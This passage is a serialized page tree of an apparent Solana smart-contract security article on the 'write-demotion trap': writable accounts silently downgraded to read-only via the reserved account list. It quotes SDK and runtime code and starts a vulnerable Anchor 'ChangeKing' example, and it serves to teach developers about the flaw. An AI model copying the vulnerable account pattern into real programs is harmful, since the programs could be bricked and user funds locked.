balance_after",{"type":26,"tag":475,"props":73810,"children":73811},{"style":714},[73812],{"type":32,"value":2383},{"type":26,"tag":475,"props":73814,"children":73815},{"style":2375},[73816],{"type":32,"value":5194},{"type":26,"tag":475,"props":73818,"children":73819},{"style":714},[73820],{"type":32,"value":353},{"type":26,"tag":475,"props":73822,"children":73823},{"style":493},[73824],{"type":32,"value":15217},{"type":26,"tag":475,"props":73826,"children":73827},{"style":499},[73828],{"type":32,"value":13750},{"type":26,"tag":475,"props":73830,"children":73831},{"style":714},[73832],{"type":32,"value":1106},{"type":26,"tag":475,"props":73834,"children":73835},{"style":2375},[73836],{"type":32,"value":72829},{"type":26,"tag":475,"props":73838,"children":73839},{"style":499},[73840],{"type":32,"value":2729},{"type":26,"tag":475,"props":73842,"children":73843},{"class":477,"line":596},[73844,73848,73852,73856,73860],{"type":26,"tag":475,"props":73845,"children":73846},{"style":505},[73847],{"type":32,"value":20197},{"type":26,"tag":475,"props":73849,"children":73850},{"style":499},[73851],{"type":32,"value":626},{"type":26,"tag":475,"props":73853,"children":73854},{"style":2375},[73855],{"type":32,"value":12661},{"type":26,"tag":475,"props":73857,"children":73858},{"style":714},[73859],{"type":32,"value":353},{"type":26,"tag":475,"props":73861,"children":73862},{"style":499},[73863],{"type":32,"value":73864},"is_writable\n",{"type":26,"tag":475,"props":73866,"children":73867},{"class":477,"line":610},[73868,73872,73876,73880,73885,73889,73894,73898,73902,73906,73910],{"type":26,"tag":475,"props":73869,"children":73870},{"style":714},[73871],{"type":32,"value":15327},{"type":26,"tag":475,"props":73873,"children":73874},{"style":2375},[73875],{"type":32,"value":72518},{"type":26,"tag":475,"props":73877,"children":73878},{"style":714},[73879],{"type":32,"value":353},{"type":26,"tag":475,"props":73881,"children":73882},{"style":493},[73883],{"type":32,"value":73884},"is_exempt",{"type":26,"tag":475,"props":73886,"children":73887},{"style":499},[73888],{"type":32,"value":626},{"type":26,"tag":475,"props":73890,"children":73891},{"style":2375},[73892],{"type":32,"value":73893},"balance_after",{"type":26,"tag":475,"props":73895,"children":73896},{"style":499},[73897],{"type":32,"value":637},{"type":26,"tag":475,"props":73899,"children":73900},{"style":2375},[73901],{"type":32,"value":12661},{"type":26,"tag":475,"props":73903,"children":73904},{"style":714},[73905],{"type":32,"value":353},{"type":26,"tag":475,"props":73907,"children":73908},{"style":493},[73909],{"type":32,"value":13513},{"type":26,"tag":475,"props":73911,"children":73912},{"style":499},[73913],{"type":32,"value":15366},{"type":26,"tag":475,"props":73915,"children":73916},{"class":477,"line":650},[73917,73921,73925,73930,73934,73938],{"type":26,"tag":475,"props":73918,"children":73919},{"style":714},[73920],{"type":32,"value":15327},{"type":26,"tag":475,"props":73922,"children":73923},{"style":714},[73924],{"type":32,"value":12572},{"type":26,"tag":475,"props":73926,"children":73927},{"style":493},[73928],{"type":32,"value":73929},"is_program",{"type":26,"tag":475,"props":73931,"children":73932},{"style":499},[73933],{"type":32,"value":626},{"type":26,"tag":475,"props":73935,"children":73936},{"style":2375},[73937],{"type":32,"value":12661},{"type":26,"tag":475,"props":73939,"children":73940},{"style":499},[73941],{"type":32,"value":1510},{"type":26,"tag":475,"props":73943,"children":73944},{"class":477,"line":679},[73945],{"type":26,"tag":475,"props":73946,"children":73947},{"style":499},[73948],{"type":32,"value":3607},{"type":26,"tag":35,"props":73950,"children":73951},{},[73952],{"type":32,"value":73953},"Now we’re safe...right?",{"type":26,"tag":41,"props":73955,"children":73957},{"id":73956},"bug-3-the-write-demotion-trap",[73958],{"type":32,"value":73959},"Bug 3: The Write-Demotion Trap",{"type":26,"tag":35,"props":73961,"children":73962},{},[73963,73965,73970,73972,73977],{"type":32,"value":73964},"On Solana, accounts passed as ",{"type":26,"tag":105,"props":73966,"children":73967},{},[73968],{"type":32,"value":73969},"writable",{"type":32,"value":73971}," in a transaction can be ",{"type":26,"tag":105,"props":73973,"children":73974},{},[73975],{"type":32,"value":73976},"silently downgraded to read-only",{"type":32,"value":73978},". This behavior occurs during message sanitization — even before your program runs.",{"type":26,"tag":35,"props":73980,"children":73981},{},[73982,73984,73991],{"type":32,"value":73983},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":26,"tag":116,"props":73985,"children":73988},{"href":73986,"rel":73987},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[120],[73989],{"type":32,"value":73990},"MessageV0",{"type":32,"value":73992},", but legacy is simpler to follow):",{"type":26,"tag":465,"props":73994,"children":73996},{"className":2685,"code":73995,"language":2684,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n let is_writable_account_cache = message\n .account_keys\n .iter()\n .enumerate()\n .map(|(i, _key)| {\n message.is_writable_index(i)\n && !reserved_account_keys.contains(&message.account_keys[i])\n && !message.demote_program_id(i)\n })\n .collect::\u003CVec\u003C_>>();\n Self {\n message: Cow::Owned(message),\n is_writable_account_cache,\n }\n }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[73997],{"type":26,"tag":53,"props":73998,"children":73999},{"__ignoreMap":7},[74000,74008,74032,74120,74141,74153,74169,74185,74233,74262,74316,74352,74360,74397,74409,74447,74459,74466,74473,74480,74487,74495,74555,74608],{"type":26,"tag":475,"props":74001,"children":74002},{"class":477,"line":478},[74003],{"type":26,"tag":475,"props":74004,"children":74005},{"style":552},[74006],{"type":32,"value":74007},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":26,"tag":475,"props":74009,"children":74010},{"class":477,"line":516},[74011,74015,74020,74024,74028],{"type":26,"tag":475,"props":74012,"children":74013},{"style":482},[74014],{"type":32,"value":27896},{"type":26,"tag":475,"props":74016,"children":74017},{"style":505},[74018],{"type":32,"value":74019}," LegacyMessage",{"type":26,"tag":475,"props":74021,"children":74022},{"style":499},[74023],{"type":32,"value":22631},{"type":26,"tag":475,"props":74025,"children":74026},{"style":505},[74027],{"type":32,"value":2789},{"type":26,"tag":475,"props":74029,"children":74030},{"style":499},[74031],{"type":32,"value":6994},{"type":26,"tag":475,"props":74033,"children":74034},{"class":477,"line":539},[74035,74039,74043,74047,74051,74055,74059,74064,74068,74073,74077,74082,74086,74090,74095,74099,74103,74107,74111,74116],{"type":26,"tag":475,"props":74036,"children":74037},{"style":482},[74038],{"type":32,"value":20551},{"type":26,"tag":475,"props":74040,"children":74041},{"style":482},[74042],{"type":32,"value":13402},{"type":26,"tag":475,"props":74044,"children":74045},{"style":493},[74046],{"type":32,"value":31633},{"type":26,"tag":475,"props":74048,"children":74049},{"style":499},[74050],{"type":32,"value":626},{"type":26,"tag":475,"props":74052,"children":74053},{"style":2375},[74054],{"type":32,"value":67730},{"type":26,"tag":475,"props":74056,"children":74057},{"style":714},[74058],{"type":32,"value":179},{"type":26,"tag":475,"props":74060,"children":74061},{"style":499},[74062],{"type":32,"value":74063}," legacy",{"type":26,"tag":475,"props":74065,"children":74066},{"style":714},[74067],{"type":32,"value":3187},{"type":26,"tag":475,"props":74069,"children":74070},{"style":505},[74071],{"type":32,"value":74072},"Message",{"type":26,"tag":475,"props":74074,"children":74075},{"style":499},[74076],{"type":32,"value":637},{"type":26,"tag":475,"props":74078,"children":74079},{"style":2375},[74080],{"type":32,"value":74081},"reserved_account_keys",{"type":26,"tag":475,"props":74083,"children":74084},{"style":714},[74085],{"type":32,"value":179},{"type":26,"tag":475,"props":74087,"children":74088},{"style":714},[74089],{"type":32,"value":6854},{"type":26,"tag":475,"props":74091,"children":74092},{"style":505},[74093],{"type":32,"value":74094},"HashSet",{"type":26,"tag":475,"props":74096,"children":74097},{"style":499},[74098],{"type":32,"value":5519},{"type":26,"tag":475,"props":74100,"children":74101},{"style":505},[74102],{"type":32,"value":21106},{"type":26,"tag":475,"props":74104,"children":74105},{"style":499},[74106],{"type":32,"value":20154},{"type":26,"tag":475,"props":74108,"children":74109},{"style":714},[74110],{"type":32,"value":13464},{"type":26,"tag":475,"props":74112,"children":74113},{"style":482},[74114],{"type":32,"value":74115}," Self",{"type":26,"tag":475,"props":74117,"children":74118},{"style":499},[74119],{"type":32,"value":579},{"type":26,"tag":475,"props":74121,"children":74122},{"class":477,"line":548},[74123,74127,74132,74136],{"type":26,"tag":475,"props":74124,"children":74125},{"style":482},[74126],{"type":32,"value":2770},{"type":26,"tag":475,"props":74128,"children":74129},{"style":2375},[74130],{"type":32,"value":74131}," is_writable_account_cache",{"type":26,"tag":475,"props":74133,"children":74134},{"style":714},[74135],{"type":32,"value":2383},{"type":26,"tag":475,"props":74137,"children":74138},{"style":2375},[74139],{"type":32,"value":74140}," message\n",{"type":26,"tag":475,"props":74142,"children":74143},{"class":477,"line":558},[74144,74148],{"type":26,"tag":475,"props":74145,"children":74146},{"style":714},[74147],{"type":32,"value":2875},{"type":26,"tag":475,"props":74149,"children":74150},{"style":499},[74151],{"type":32,"value":74152},"account_keys\n",{"type":26,"tag":475,"props":74154,"children":74155},{"class":477,"line":582},[74156,74160,74165],{"type":26,"tag":475,"props":74157,"children":74158},{"style":714},[74159],{"type":32,"value":2875},{"type":26,"tag":475,"props":74161,"children":74162},{"style":493},[74163],{"type":32,"value":74164},"iter",{"type":26,"tag":475,"props":74166,"children":74167},{"style":499},[74168],{"type":32,"value":607},{"type":26,"tag":475,"props":74170,"children":74171},{"class":477,"line":596},[74172,74176,74181],{"type":26,"tag":475,"props":74173,"children":74174},{"style":714},[74175],{"type":32,"value":2875},{"type":26,"tag":475,"props":74177,"children":74178},{"style":493},[74179],{"type":32,"value":74180},"enumerate",{"type":26,"tag":475,"props":74182,"children":74183},{"style":499},[74184],{"type":32,"value":607},{"type":26,"tag":475,"props":74186,"children":74187},{"class":477,"line":610},[74188,74192,74196,74200,74204,74208,74212,74216,74221,74225,74229],{"type":26,"tag":475,"props":74189,"children":74190},{"style":714},[74191],{"type":32,"value":2875},{"type":26,"tag":475,"props":74193,"children":74194},{"style":493},[74195],{"type":32,"value":66795},{"type":26,"tag":475,"props":74197,"children":74198},{"style":499},[74199],{"type":32,"value":626},{"type":26,"tag":475,"props":74201,"children":74202},{"style":714},[74203],{"type":32,"value":10124},{"type":26,"tag":475,"props":74205,"children":74206},{"style":499},[74207],{"type":32,"value":626},{"type":26,"tag":475,"props":74209,"children":74210},{"style":2375},[74211],{"type":32,"value":3445},{"type":26,"tag":475,"props":74213,"children":74214},{"style":499},[74215],{"type":32,"value":637},{"type":26,"tag":475,"props":74217,"children":74218},{"style":2375},[74219],{"type":32,"value":74220},"_key",{"type":26,"tag":475,"props":74222,"children":74223},{"style":499},[74224],{"type":32,"value":2835},{"type":26,"tag":475,"props":74226,"children":74227},{"style":714},[74228],{"type":32,"value":10124},{"type":26,"tag":475,"props":74230,"children":74231},{"style":499},[74232],{"type":32,"value":579},{"type":26,"tag":475,"props":74234,"children":74235},{"class":477,"line":650},[74236,74241,74245,74250,74254,74258],{"type":26,"tag":475,"props":74237,"children":74238},{"style":2375},[74239],{"type":32,"value":74240}," message",{"type":26,"tag":475,"props":74242,"children":74243},{"style":714},[74244],{"type":32,"value":353},{"type":26,"tag":475,"props":74246,"children":74247},{"style":493},[74248],{"type":32,"value":74249},"is_writable_index",{"type":26,"tag":475,"props":74251,"children":74252},{"style":499},[74253],{"type":32,"value":626},{"type":26,"tag":475,"props":74255,"children":74256},{"style":2375},[74257],{"type":32,"value":3445},{"type":26,"tag":475,"props":74259,"children":74260},{"style":499},[74261],{"type":32,"value":647},{"type":26,"tag":475,"props":74263,"children":74264},{"class":477,"line":679},[74265,74270,74274,74278,74282,74287,74291,74295,74299,74303,74308,74312],{"type":26,"tag":475,"props":74266,"children":74267},{"style":714},[74268],{"type":32,"value":74269}," &&",{"type":26,"tag":475,"props":74271,"children":74272},{"style":714},[74273],{"type":32,"value":12572},{"type":26,"tag":475,"props":74275,"children":74276},{"style":2375},[74277],{"type":32,"value":74081},{"type":26,"tag":475,"props":74279,"children":74280},{"style":714},[74281],{"type":32,"value":353},{"type":26,"tag":475,"props":74283,"children":74284},{"style":493},[74285],{"type":32,"value":74286},"contains",{"type":26,"tag":475,"props":74288,"children":74289},{"style":499},[74290],{"type":32,"value":626},{"type":26,"tag":475,"props":74292,"children":74293},{"style":714},[74294],{"type":32,"value":2816},{"type":26,"tag":475,"props":74296,"children":74297},{"style":2375},[74298],{"type":32,"value":67730},{"type":26,"tag":475,"props":74300,"children":74301},{"style":714},[74302],{"type":32,"value":353},{"type":26,"tag":475,"props":74304,"children":74305},{"style":499},[74306],{"type":32,"value":74307},"account_keys[",{"type":26,"tag":475,"props":74309,"children":74310},{"style":2375},[74311],{"type":32,"value":3445},{"type":26,"tag":475,"props":74313,"children":74314},{"style":499},[74315],{"type":32,"value":55132},{"type":26,"tag":475,"props":74317,"children":74318},{"class":477,"line":735},[74319,74323,74327,74331,74335,74340,74344,74348],{"type":26,"tag":475,"props":74320,"children":74321},{"style":714},[74322],{"type":32,"value":74269},{"type":26,"tag":475,"props":74324,"children":74325},{"style":714},[74326],{"type":32,"value":12572},{"type":26,"tag":475,"props":74328,"children":74329},{"style":2375},[74330],{"type":32,"value":67730},{"type":26,"tag":475,"props":74332,"children":74333},{"style":714},[74334],{"type":32,"value":353},{"type":26,"tag":475,"props":74336,"children":74337},{"style":493},[74338],{"type":32,"value":74339},"demote_program_id",{"type":26,"tag":475,"props":74341,"children":74342},{"style":499},[74343],{"type":32,"value":626},{"type":26,"tag":475,"props":74345,"children":74346},{"style":2375},[74347],{"type":32,"value":3445},{"type":26,"tag":475,"props":74349,"children":74350},{"style":499},[74351],{"type":32,"value":647},{"type":26,"tag":475,"props":74353,"children":74354},{"class":477,"line":744},[74355],{"type":26,"tag":475,"props":74356,"children":74357},{"style":499},[74358],{"type":32,"value":74359}," })\n",{"type":26,"tag":475,"props":74361,"children":74362},{"class":477,"line":753},[74363,74367,74372,74376,74380,74384,74388,74392],{"type":26,"tag":475,"props":74364,"children":74365},{"style":714},[74366],{"type":32,"value":2875},{"type":26,"tag":475,"props":74368,"children":74369},{"style":493},[74370],{"type":32,"value":74371},"collect",{"type":26,"tag":475,"props":74373,"children":74374},{"style":714},[74375],{"type":32,"value":3187},{"type":26,"tag":475,"props":74377,"children":74378},{"style":499},[74379],{"type":32,"value":5519},{"type":26,"tag":475,"props":74381,"children":74382},{"style":505},[74383],{"type":32,"value":16917},{"type":26,"tag":475,"props":74385,"children":74386},{"style":499},[74387],{"type":32,"value":5519},{"type":26,"tag":475,"props":74389,"children":74390},{"style":2375},[74391],{"type":32,"value":2789},{"type":26,"tag":475,"props":74393,"children":74394},{"style":499},[74395],{"type":32,"value":74396},">>();\n",{"type":26,"tag":475,"props":74398,"children":74399},{"class":477,"line":761},[74400,74405],{"type":26,"tag":475,"props":74401,"children":74402},{"style":482},[74403],{"type":32,"value":74404}," Self",{"type":26,"tag":475,"props":74406,"children":74407},{"style":499},[74408],{"type":32,"value":579},{"type":26,"tag":475,"props":74410,"children":74411},{"class":477,"line":770},[74412,74417,74421,74426,74430,74435,74439,74443],{"type":26,"tag":475,"props":74413,"children":74414},{"style":2375},[74415],{"type":32,"value":74416}," message",{"type":26,"tag":475,"props":74418,"children":74419},{"style":714},[74420],{"type":32,"value":179},{"type":26,"tag":475,"props":74422,"children":74423},{"style":505},[74424],{"type":32,"value":74425}," Cow",{"type":26,"tag":475,"props":74427,"children":74428},{"style":714},[74429],{"type":32,"value":3187},{"type":26,"tag":475,"props":74431,"children":74432},{"style":493},[74433],{"type":32,"value":74434},"Owned",{"type":26,"tag":475,"props":74436,"children":74437},{"style":499},[74438],{"type":32,"value":626},{"type":26,"tag":475,"props":74440,"children":74441},{"style":2375},[74442],{"type":32,"value":67730},{"type":26,"tag":475,"props":74444,"children":74445},{"style":499},[74446],{"type":32,"value":6450},{"type":26,"tag":475,"props":74448,"children":74449},{"class":477,"line":794},[74450,74455],{"type":26,"tag":475,"props":74451,"children":74452},{"style":2375},[74453],{"type":32,"value":74454}," is_writable_account_cache",{"type":26,"tag":475,"props":74456,"children":74457},{"style":499},[74458],{"type":32,"value":2425},{"type":26,"tag":475,"props":74460,"children":74461},{"class":477,"line":831},[74462],{"type":26,"tag":475,"props":74463,"children":74464},{"style":499},[74465],{"type":32,"value":750},{"type":26,"tag":475,"props":74467,"children":74468},{"class":477,"line":845},[74469],{"type":26,"tag":475,"props":74470,"children":74471},{"style":499},[74472],{"type":32,"value":851},{"type":26,"tag":475,"props":74474,"children":74475},{"class":477,"line":854},[74476],{"type":26,"tag":475,"props":74477,"children":74478},{"style":499},[74479],{"type":32,"value":3607},{"type":26,"tag":475,"props":74481,"children":74482},{"class":477,"line":862},[74483],{"type":26,"tag":475,"props":74484,"children":74485},{"emptyLinePlaceholder":18},[74486],{"type":32,"value":545},{"type":26,"tag":475,"props":74488,"children":74489},{"class":477,"line":885},[74490],{"type":26,"tag":475,"props":74491,"children":74492},{"style":552},[74493],{"type":32,"value":74494},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":26,"tag":475,"props":74496,"children":74497},{"class":477,"line":913},[74498,74502,74506,74511,74515,74519,74523,74527,74531,74535,74539,74543,74547,74551],{"type":26,"tag":475,"props":74499,"children":74500},{"style":482},[74501],{"type":32,"value":13397},{"type":26,"tag":475,"props":74503,"children":74504},{"style":482},[74505],{"type":32,"value":13402},{"type":26,"tag":475,"props":74507,"children":74508},{"style":493},[74509],{"type":32,"value":74510}," demote_program_id",{"type":26,"tag":475,"props":74512,"children":74513},{"style":499},[74514],{"type":32,"value":626},{"type":26,"tag":475,"props":74516,"children":74517},{"style":714},[74518],{"type":32,"value":2816},{"type":26,"tag":475,"props":74520,"children":74521},{"style":482},[74522],{"type":32,"value":13420},{"type":26,"tag":475,"props":74524,"children":74525},{"style":499},[74526],{"type":32,"value":637},{"type":26,"tag":475,"props":74528,"children":74529},{"style":2375},[74530],{"type":32,"value":3445},{"type":26,"tag":475,"props":74532,"children":74533},{"style":714},[74534],{"type":32,"value":179},{"type":26,"tag":475,"props":74536,"children":74537},{"style":505},[74538],{"type":32,"value":13438},{"type":26,"tag":475,"props":74540,"children":74541},{"style":499},[74542],{"type":32,"value":2794},{"type":26,"tag":475,"props":74544,"children":74545},{"style":714},[74546],{"type":32,"value":13464},{"type":26,"tag":475,"props":74548,"children":74549},{"style":505},[74550],{"type":32,"value":11759},{"type":26,"tag":475,"props":74552,"children":74553},{"style":499},[74554],{"type":32,"value":579},{"type":26,"tag":475,"props":74556,"children":74557},{"class":477,"line":926},[74558,74562,74566,74571,74575,74579,74583,74587,74591,74595,74599,74604],{"type":26,"tag":475,"props":74559,"children":74560},{"style":482},[74561],{"type":32,"value":20494},{"type":26,"tag":475,"props":74563,"children":74564},{"style":714},[74565],{"type":32,"value":353},{"type":26,"tag":475,"props":74567,"children":74568},{"style":493},[74569],{"type":32,"value":74570},"is_key_called_as_program",{"type":26,"tag":475,"props":74572,"children":74573},{"style":499},[74574],{"type":32,"value":626},{"type":26,"tag":475,"props":74576,"children":74577},{"style":2375},[74578],{"type":32,"value":3445},{"type":26,"tag":475,"props":74580,"children":74581},{"style":499},[74582],{"type":32,"value":2794},{"type":26,"tag":475,"props":74584,"children":74585},{"style":714},[74586],{"type":32,"value":72824},{"type":26,"tag":475,"props":74588,"children":74589},{"style":714},[74590],{"type":32,"value":12572},{"type":26,"tag":475,"props":74592,"children":74593},{"style":482},[74594],{"type":32,"value":13420},{"type":26,"tag":475,"props":74596,"children":74597},{"style":714},[74598],{"type":32,"value":353},{"type":26,"tag":475,"props":74600,"children":74601},{"style":493},[74602],{"type":32,"value":74603},"is_upgradeable_loader_present",{"type":26,"tag":475,"props":74605,"children":74606},{"style":499},[74607],{"type":32,"value":607},{"type":26,"tag":475,"props":74609,"children":74610},{"class":477,"line":948},[74611],{"type":26,"tag":475,"props":74612,"children":74613},{"style":499},[74614],{"type":32,"value":3607},{"type":26,"tag":35,"props":74616,"children":74617},{},[74618],{"type":32,"value":74619},"As you can see, there are two main causes of write-demotion:",{"type":26,"tag":181,"props":74621,"children":74622},{},[74623,74635],{"type":26,"tag":86,"props":74624,"children":74625},{},[74626,74628],{"type":32,"value":74627},"The account appears in the ",{"type":26,"tag":116,"props":74629,"children":74632},{"href":74630,"rel":74631},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[120],[74633],{"type":32,"value":74634},"reserved account list",{"type":26,"tag":86,"props":74636,"children":74637},{},[74638],{"type":32,"value":74639},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":26,"tag":35,"props":74641,"children":74642},{},[74643],{"type":32,"value":74644},"The second case is generally covered by the executable check implemented previously.",{"type":26,"tag":35,"props":74646,"children":74647},{},[74648],{"type":32,"value":74649},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":26,"tag":70,"props":74651,"children":74653},{"id":74652},"the-reserved-account-list",[74654],{"type":32,"value":74655},"The Reserved Account List",{"type":26,"tag":35,"props":74657,"children":74658},{},[74659,74661,74666],{"type":32,"value":74660},"The Solana runtime maintains a ",{"type":26,"tag":116,"props":74662,"children":74664},{"href":74630,"rel":74663},[120],[74665],{"type":32,"value":74634},{"type":32,"value":74667},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":26,"tag":35,"props":74669,"children":74670},{},[74671,74673,74680,74682,74687],{"type":32,"value":74672},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":26,"tag":116,"props":74674,"children":74677},{"href":74675,"rel":74676},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[120],[74678],{"type":32,"value":74679},"feature gate is actived",{"type":32,"value":74681},", the runtime will ",{"type":26,"tag":105,"props":74683,"children":74684},{},[74685],{"type":32,"value":74686},"automatically demote them to read-only",{"type":32,"value":74688},", even if the transaction marked them as writable.",{"type":26,"tag":465,"props":74690,"children":74692},{"className":2685,"code":74691,"language":2684,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n reserved_keys.update_active_set(&self.feature_set);\n Arc::new(reserved_keys)\n};\n",[74693],{"type":26,"tag":53,"props":74694,"children":74695},{"__ignoreMap":7},[74696,74704,74712,74736,74790,74828,74857],{"type":26,"tag":475,"props":74697,"children":74698},{"class":477,"line":478},[74699],{"type":26,"tag":475,"props":74700,"children":74701},{"style":552},[74702],{"type":32,"value":74703},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":26,"tag":475,"props":74705,"children":74706},{"class":477,"line":516},[74707],{"type":26,"tag":475,"props":74708,"children":74709},{"style":552},[74710],{"type":32,"value":74711},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":26,"tag":475,"props":74713,"children":74714},{"class":477,"line":539},[74715,74719,74723,74728,74732],{"type":26,"tag":475,"props":74716,"children":74717},{"style":482},[74718],{"type":32,"value":13420},{"type":26,"tag":475,"props":74720,"children":74721},{"style":714},[74722],{"type":32,"value":353},{"type":26,"tag":475,"props":74724,"children":74725},{"style":499},[74726],{"type":32,"value":74727},"reserved_account_keys ",{"type":26,"tag":475,"props":74729,"children":74730},{"style":714},[74731],{"type":32,"value":786},{"type":26,"tag":475,"props":74733,"children":74734},{"style":499},[74735],{"type":32,"value":579},{"type":26,"tag":475,"props":74737,"children":74738},{"class":477,"line":548},[74739,74743,74747,74752,74756,74761,74765,74769,74773,74777,74781,74785],{"type":26,"tag":475,"props":74740,"children":74741},{"style":482},[74742],{"type":32,"value":2705},{"type":26,"tag":475,"props":74744,"children":74745},{"style":482},[74746],{"type":32,"value":2710},{"type":26,"tag":475,"props":74748,"children":74749},{"style":2375},[74750],{"type":32,"value":74751}," reserved_keys",{"type":26,"tag":475,"props":74753,"children":74754},{"style":714},[74755],{"type":32,"value":2383},{"type":26,"tag":475,"props":74757,"children":74758},{"style":505},[74759],{"type":32,"value":74760}," ReservedAccountKeys",{"type":26,"tag":475,"props":74762,"children":74763},{"style":714},[74764],{"type":32,"value":3187},{"type":26,"tag":475,"props":74766,"children":74767},{"style":493},[74768],{"type":32,"value":15126},{"type":26,"tag":475,"props":74770,"children":74771},{"style":499},[74772],{"type":32,"value":626},{"type":26,"tag":475,"props":74774,"children":74775},{"style":714},[74776],{"type":32,"value":2816},{"type":26,"tag":475,"props":74778,"children":74779},{"style":482},[74780],{"type":32,"value":13420},{"type":26,"tag":475,"props":74782,"children":74783},{"style":714},[74784],{"type":32,"value":353},{"type":26,"tag":475,"props":74786,"children":74787},{"style":499},[74788],{"type":32,"value":74789},"reserved_account_keys);\n",{"type":26,"tag":475,"props":74791,"children":74792},{"class":477,"line":558},[74793,74798,74802,74807,74811,74815,74819,74823],{"type":26,"tag":475,"props":74794,"children":74795},{"style":2375},[74796],{"type":32,"value":74797}," reserved_keys",{"type":26,"tag":475,"props":74799,"children":74800},{"style":714},[74801],{"type":32,"value":353},{"type":26,"tag":475,"props":74803,"children":74804},{"style":493},[74805],{"type":32,"value":74806},"update_active_set",{"type":26,"tag":475,"props":74808,"children":74809},{"style":499},[74810],{"type":32,"value":626},{"type":26,"tag":475,"props":74812,"children":74813},{"style":714},[74814],{"type":32,"value":2816},{"type":26,"tag":475,"props":74816,"children":74817},{"style":482},[74818],{"type":32,"value":13420},{"type":26,"tag":475,"props":74820,"children":74821},{"style":714},[74822],{"type":32,"value":353},{"type":26,"tag":475,"props":74824,"children":74825},{"style":499},[74826],{"type":32,"value":74827},"feature_set);\n",{"type":26,"tag":475,"props":74829,"children":74830},{"class":477,"line":582},[74831,74836,74840,74844,74848,74853],{"type":26,"tag":475,"props":74832,"children":74833},{"style":505},[74834],{"type":32,"value":74835}," Arc",{"type":26,"tag":475,"props":74837,"children":74838},{"style":714},[74839],{"type":32,"value":3187},{"type":26,"tag":475,"props":74841,"children":74842},{"style":493},[74843],{"type":32,"value":14828},{"type":26,"tag":475,"props":74845,"children":74846},{"style":499},[74847],{"type":32,"value":626},{"type":26,"tag":475,"props":74849,"children":74850},{"style":2375},[74851],{"type":32,"value":74852},"reserved_keys",{"type":26,"tag":475,"props":74854,"children":74855},{"style":499},[74856],{"type":32,"value":647},{"type":26,"tag":475,"props":74858,"children":74859},{"class":477,"line":596},[74860],{"type":26,"tag":475,"props":74861,"children":74862},{"style":499},[74863],{"type":32,"value":16283},{"type":26,"tag":70,"props":74865,"children":74867},{"id":74866},"consequences-silent-failures-and-bricked-programs",[74868],{"type":32,"value":74869},"Consequences: Silent Failures and Bricked Programs",{"type":26,"tag":35,"props":74871,"children":74872},{},[74873],{"type":32,"value":74874},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":26,"tag":465,"props":74876,"children":74878},{"className":2685,"code":74877,"language":2684,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n #[account(mut)]\n pub throne: Account\u003C'info, Throne>,\n\n #[account(mut, constraint = old_king.key() == throne.king)]\n pub old_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub new_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub payer: Signer\u003C'info>,\n}\n",[74879],{"type":26,"tag":53,"props":74880,"children":74881},{"__ignoreMap":7},[74882,74897,74924,74939,74978,74985,75032,75063,75070,75085,75116,75123,75138,75169],{"type":26,"tag":475,"props":74883,"children":74884},{"class":477,"line":478},[74885,74889,74893],{"type":26,"tag":475,"props":74886,"children":74887},{"style":499},[74888],{"type":32,"value":22546},{"type":26,"tag":475,"props":74890,"children":74891},{"style":505},[74892],{"type":32,"value":22551},{"type":26,"tag":475,"props":74894,"children":74895},{"style":499},[74896],{"type":32,"value":19966},{"type":26,"tag":475,"props":74898,"children":74899},{"class":477,"line":516},[74900,74904,74908,74912,74916,74920],{"type":26,"tag":475,"props":74901,"children":74902},{"style":482},[74903],{"type":32,"value":13397},{"type":26,"tag":475,"props":74905,"children":74906},{"style":482},[74907],{"type":32,"value":20859},{"type":26,"tag":475,"props":74909,"children":74910},{"style":505},[74911],{"type":32,"value":70937},{"type":26,"tag":475,"props":74913,"children":74914},{"style":499},[74915],{"type":32,"value":22631},{"type":26,"tag":475,"props":74917,"children":74918},{"style":505},[74919],{"type":32,"value":22636},{"type":26,"tag":475,"props":74921,"children":74922},{"style":499},[74923],{"type":32,"value":6994},{"type":26,"tag":475,"props":74925,"children":74926},{"class":477,"line":539},[74927,74931,74935],{"type":26,"tag":475,"props":74928,"children":74929},{"style":499},[74930],{"type":32,"value":22838},{"type":26,"tag":475,"props":74932,"children":74933},{"style":482},[74934],{"type":32,"value":3430},{"type":26,"tag":475,"props":74936,"children":74937},{"style":499},[74938],{"type":32,"value":19966},{"type":26,"tag":475,"props":74940,"children":74941},{"class":477,"line":548},[74942,74946,74950,74954,74958,74962,74966,74970,74974],{"type":26,"tag":475,"props":74943,"children":74944},{"style":482},[74945],{"type":32,"value":20551},{"type":26,"tag":475,"props":74947,"children":74948},{"